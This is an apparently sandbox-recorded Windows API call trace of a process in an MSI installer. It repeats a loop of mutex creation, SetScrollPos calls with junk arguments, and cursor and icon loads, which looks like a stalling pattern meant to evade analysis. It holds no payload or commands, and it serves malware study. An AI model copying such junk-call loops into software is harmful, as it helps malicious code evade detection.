	[0094.807] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.807] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.807] GetCurrentProcessId () returned 0xb50
	[0094.807] GetLastError () returned 0x578
	[0094.807] GetLastError () returned 0x578
	[0094.807] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.807] GetLastError () returned 0x0
	[0094.807] ReleaseMutex (hMutex=0x360) returned 1
	[0094.807] CloseHandle (hObject=0x360) returned 1
	[0094.807] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=671262362, bRedraw=1) returned 0
	[0094.807] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.807] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.807] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.807] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.807] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.807] GetCurrentProcessId () returned 0xb50
	[0094.807] GetLastError () returned 0x578
	[0094.807] GetLastError () returned 0x578
	[0094.808] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.808] GetLastError () returned 0x0
	[0094.808] ReleaseMutex (hMutex=0x360) returned 1
	[0094.808] CloseHandle (hObject=0x360) returned 1
	[0094.808] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1425454520, bRedraw=1) returned 0
	[0094.808] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.808] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.808] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.808] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.808] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.808] GetCurrentProcessId () returned 0xb50
	[0094.808] GetLastError () returned 0x578
	[0094.808] GetLastError () returned 0x578
	[0094.808] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.808] GetLastError () returned 0x0
	[0094.808] ReleaseMutex (hMutex=0x360) returned 1
	[0094.808] CloseHandle (hObject=0x360) returned 1
	[0094.808] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=782425846, bRedraw=1) returned 0
	[0094.809] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.809] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.809] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.809] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.809] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.809] GetCurrentProcessId () returned 0xb50
	[0094.809] GetLastError () returned 0x578
	[0094.809] GetLastError () returned 0x578
	[0094.809] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.809] GetLastError () returned 0x0
	[0094.809] ReleaseMutex (hMutex=0x360) returned 1
	[0094.809] CloseHandle (hObject=0x360) returned 1
	[0094.809] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1295031132, bRedraw=1) returned 0
	[0094.809] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.809] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.810] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.810] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.810] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.810] GetCurrentProcessId () returned 0xb50
	[0094.810] GetLastError () returned 0x578
	[0094.810] GetLastError () returned 0x578
	[0094.810] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.810] GetLastError () returned 0x0
	[0094.810] ReleaseMutex (hMutex=0x360) returned 1
	[0094.810] CloseHandle (hObject=0x360) returned 1
	[0094.810] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=932109138, bRedraw=1) returned 0
	[0094.810] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.810] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.810] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.810] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.810] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.810] GetCurrentProcessId () returned 0xb50
	[0094.810] GetLastError () returned 0x578
	[0094.810] GetLastError () returned 0x578
	[0094.810] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.810] GetLastError () returned 0x0
	[0094.810] ReleaseMutex (hMutex=0x360) returned 1
	[0094.811] CloseHandle (hObject=0x360) returned 1
	[0094.811] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1126087936, bRedraw=1) returned 0
	[0094.811] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.811] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.811] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.811] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.811] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.811] GetCurrentProcessId () returned 0xb50
	[0094.811] GetLastError () returned 0x578
	[0094.811] GetLastError () returned 0x578
	[0094.811] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.811] GetLastError () returned 0x0
	[0094.811] ReleaseMutex (hMutex=0x360) returned 1
	[0094.811] CloseHandle (hObject=0x360) returned 1
	[0094.811] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1120312238, bRedraw=1) returned 0
	[0094.811] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.811] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.811] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.811] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.811] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.812] GetCurrentProcessId () returned 0xb50
	[0094.812] GetLastError () returned 0x578
	[0094.812] GetLastError () returned 0x578
	[0094.812] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.812] GetLastError () returned 0x0
	[0094.812] ReleaseMutex (hMutex=0x360) returned 1
	[0094.812] CloseHandle (hObject=0x360) returned 1
	[0094.812] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-918624932, bRedraw=1) returned 0
	[0094.812] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.812] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.812] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.812] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.812] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.812] GetCurrentProcessId () returned 0xb50
	[0094.812] GetLastError () returned 0x578
	[0094.812] GetLastError () returned 0x578
	[0094.812] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.812] GetLastError () returned 0x0
	[0094.812] ReleaseMutex (hMutex=0x360) returned 1
	[0094.812] CloseHandle (hObject=0x360) returned 1
	[0094.812] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1347035146, bRedraw=1) returned 0
	[0094.813] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.813] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.813] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.813] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.813] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.813] GetCurrentProcessId () returned 0xb50
	[0094.813] GetLastError () returned 0x578
	[0094.813] GetLastError () returned 0x578
	[0094.813] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.813] GetLastError () returned 0x0
	[0094.813] ReleaseMutex (hMutex=0x360) returned 1
	[0094.813] CloseHandle (hObject=0x360) returned 1
	[0094.813] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-672642120, bRedraw=1) returned 0
	[0094.813] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.813] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.813] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.813] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.813] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.813] GetCurrentProcessId () returned 0xb50
	[0094.813] GetLastError () returned 0x578
	[0094.813] GetLastError () returned 0x578
	[0094.813] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.814] GetLastError () returned 0x0
	[0094.814] ReleaseMutex (hMutex=0x360) returned 1
	[0094.814] CloseHandle (hObject=0x360) returned 1
	[0094.814] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1612277862, bRedraw=1) returned 0
	[0094.814] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.814] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.814] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.814] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.814] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.814] GetCurrentProcessId () returned 0xb50
	[0094.814] GetLastError () returned 0x578
	[0094.814] GetLastError () returned 0x578
	[0094.814] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.814] GetLastError () returned 0x0
	[0094.814] ReleaseMutex (hMutex=0x360) returned 1
	[0094.814] CloseHandle (hObject=0x360) returned 1
	[0094.814] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-388139500, bRedraw=1) returned 0
	[0094.814] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.814] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.814] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.815] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.815] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.815] GetCurrentProcessId () returned 0xb50
	[0094.815] GetLastError () returned 0x578
	[0094.815] GetLastError () returned 0x578
	[0094.815] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.815] GetLastError () returned 0x0
	[0094.815] ReleaseMutex (hMutex=0x360) returned 1
	[0094.815] CloseHandle (hObject=0x360) returned 1
	[0094.815] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1916040386, bRedraw=1) returned 0
	[0094.815] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.815] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.815] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.815] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.815] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.815] GetCurrentProcessId () returned 0xb50
	[0094.815] GetLastError () returned 0x578
	[0094.815] GetLastError () returned 0x578
	[0094.815] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.815] GetLastError () returned 0x0
	[0094.815] ReleaseMutex (hMutex=0x360) returned 1
	[0094.815] CloseHandle (hObject=0x360) returned 1
	[0094.815] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-65117072, bRedraw=1) returned 0
	[0094.816] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.816] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.816] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.816] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.816] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.816] GetCurrentProcessId () returned 0xb50
	[0094.816] GetLastError () returned 0x578
	[0094.816] GetLastError () returned 0x578
	[0094.816] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.816] GetLastError () returned 0x0
	[0094.816] ReleaseMutex (hMutex=0x360) returned 1
	[0094.817] CloseHandle (hObject=0x360) returned 1
	[0094.817] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-2036644578, bRedraw=1) returned 0
	[0094.817] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.817] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.817] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.817] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.817] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.817] GetCurrentProcessId () returned 0xb50
	[0094.817] GetLastError () returned 0x578
	[0094.817] GetLastError () returned 0x578
	[0094.817] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.817] GetLastError () returned 0x0
	[0094.817] ReleaseMutex (hMutex=0x360) returned 1
	[0094.817] CloseHandle (hObject=0x360) returned 1
	[0094.817] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=296425164, bRedraw=1) returned 0
	[0094.817] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.817] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.817] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.817] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.817] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.817] GetCurrentProcessId () returned 0xb50
	[0094.818] GetLastError () returned 0x578
	[0094.818] GetLastError () returned 0x578
	[0094.818] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.818] GetLastError () returned 0x0
	[0094.818] ReleaseMutex (hMutex=0x360) returned 1
	[0094.818] CloseHandle (hObject=0x360) returned 1
	[0094.818] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1655842438, bRedraw=1) returned 0
	[0094.818] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.818] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.818] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.818] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.818] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.818] GetCurrentProcessId () returned 0xb50
	[0094.818] GetLastError () returned 0x578
	[0094.818] GetLastError () returned 0x578
	[0094.818] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.818] GetLastError () returned 0x0
	[0094.818] ReleaseMutex (hMutex=0x360) returned 1
	[0094.818] CloseHandle (hObject=0x360) returned 1
	[0094.818] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=696487208, bRedraw=1) returned 0
	[0094.818] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.819] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.819] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.819] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.819] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.819] GetCurrentProcessId () returned 0xb50
	[0094.819] GetLastError () returned 0x578
	[0094.819] GetLastError () returned 0x578
	[0094.819] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.819] GetLastError () returned 0x0
	[0094.819] ReleaseMutex (hMutex=0x360) returned 1
	[0094.819] CloseHandle (hObject=0x360) returned 1
	[0094.819] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1236520490, bRedraw=1) returned 0
	[0094.819] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.819] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.819] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.819] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.819] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.819] GetCurrentProcessId () returned 0xb50
	[0094.819] GetLastError () returned 0x578
	[0094.819] GetLastError () returned 0x578
	[0094.819] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.820] GetLastError () returned 0x0
	[0094.820] ReleaseMutex (hMutex=0x360) returned 1
	[0094.820] CloseHandle (hObject=0x360) returned 1
	[0094.820] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1135069060, bRedraw=1) returned 0
	[0094.820] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.820] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.820] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.820] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.820] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.820] GetCurrentProcessId () returned 0xb50
	[0094.820] GetLastError () returned 0x578
	[0094.820] GetLastError () returned 0x578
	[0094.820] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.820] GetLastError () returned 0x0
	[0094.820] ReleaseMutex (hMutex=0x360) returned 1
	[0094.820] CloseHandle (hObject=0x360) returned 1
	[0094.820] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-778678734, bRedraw=1) returned 0
	[0094.820] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.820] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.820] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.820] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.820] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.821] GetCurrentProcessId () returned 0xb50
	[0094.821] GetLastError () returned 0x578
	[0094.821] GetLastError () returned 0x578
	[0094.821] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.821] GetLastError () returned 0x0
	[0094.821] ReleaseMutex (hMutex=0x360) returned 1
	[0094.821] CloseHandle (hObject=0x360) returned 1
	[0094.821] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1612170720, bRedraw=1) returned 0
	[0094.821] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.821] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.821] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.821] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.821] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.821] GetCurrentProcessId () returned 0xb50
	[0094.821] GetLastError () returned 0x578
	[0094.821] GetLastError () returned 0x578
	[0094.821] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.821] GetLastError () returned 0x0
	[0094.821] ReleaseMutex (hMutex=0x360) returned 1
	[0094.821] CloseHandle (hObject=0x360) returned 1
	[0094.821] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-282317170, bRedraw=1) returned 0
	[0094.822] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.822] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.822] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.822] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.822] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.822] GetCurrentProcessId () returned 0xb50
	[0094.822] GetLastError () returned 0x578
	[0094.822] GetLastError () returned 0x578
	[0094.822] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.822] GetLastError () returned 0x0
	[0094.822] ReleaseMutex (hMutex=0x360) returned 1
	[0094.822] CloseHandle (hObject=0x360) returned 1
	[0094.822] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=2127792188, bRedraw=1) returned 0
	[0094.822] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.822] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.822] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.822] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.822] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.822] GetCurrentProcessId () returned 0xb50
	[0094.822] GetLastError () returned 0x578
	[0094.822] GetLastError () returned 0x578
	[0094.822] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.823] GetLastError () returned 0x0
	[0094.823] ReleaseMutex (hMutex=0x360) returned 1
	[0094.823] CloseHandle (hObject=0x360) returned 1
	[0094.823] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=252564202, bRedraw=1) returned 0
	[0094.823] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.823] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.823] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.823] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.823] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.823] GetCurrentProcessId () returned 0xb50
	[0094.823] GetLastError () returned 0x578
	[0094.823] GetLastError () returned 0x578
	[0094.823] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.823] GetLastError () returned 0x0
	[0094.823] ReleaseMutex (hMutex=0x360) returned 1
	[0094.823] CloseHandle (hObject=0x360) returned 1
	[0094.823] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1613033832, bRedraw=1) returned 0
	[0094.823] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.823] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.823] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.823] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.824] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.824] GetCurrentProcessId () returned 0xb50
	[0094.824] GetLastError () returned 0x578
	[0094.824] GetLastError () returned 0x578
	[0094.824] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.824] GetLastError () returned 0x0
	[0094.824] ReleaseMutex (hMutex=0x360) returned 1
	[0094.824] CloseHandle (hObject=0x360) returned 1
	[0094.824] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=825965382, bRedraw=1) returned 0
	[0094.824] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.824] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.975] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.975] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.975] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.975] GetCurrentProcessId () returned 0xb50
	[0094.975] GetLastError () returned 0x578
	[0094.975] GetLastError () returned 0x578
	[0094.975] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.975] GetLastError () returned 0x0
	[0094.975] ReleaseMutex (hMutex=0x360) returned 1
	[0094.975] CloseHandle (hObject=0x360) returned 1
	[0094.975] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1020372748, bRedraw=1) returned 0
	[0094.976] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.976] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.976] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.976] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.976] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.976] GetCurrentProcessId () returned 0xb50
	[0094.976] GetLastError () returned 0x578
	[0094.976] GetLastError () returned 0x578
	[0094.976] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.976] GetLastError () returned 0x0
	[0094.976] ReleaseMutex (hMutex=0x360) returned 1
	[0094.976] CloseHandle (hObject=0x360) returned 1
	[0094.976] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1437886370, bRedraw=1) returned 0
	[0094.976] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.976] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.976] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.976] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.976] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.976] GetCurrentProcessId () returned 0xb50
	[0094.976] GetLastError () returned 0x578
	[0094.976] GetLastError () returned 0x578
	[0094.977] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.977] GetLastError () returned 0x0
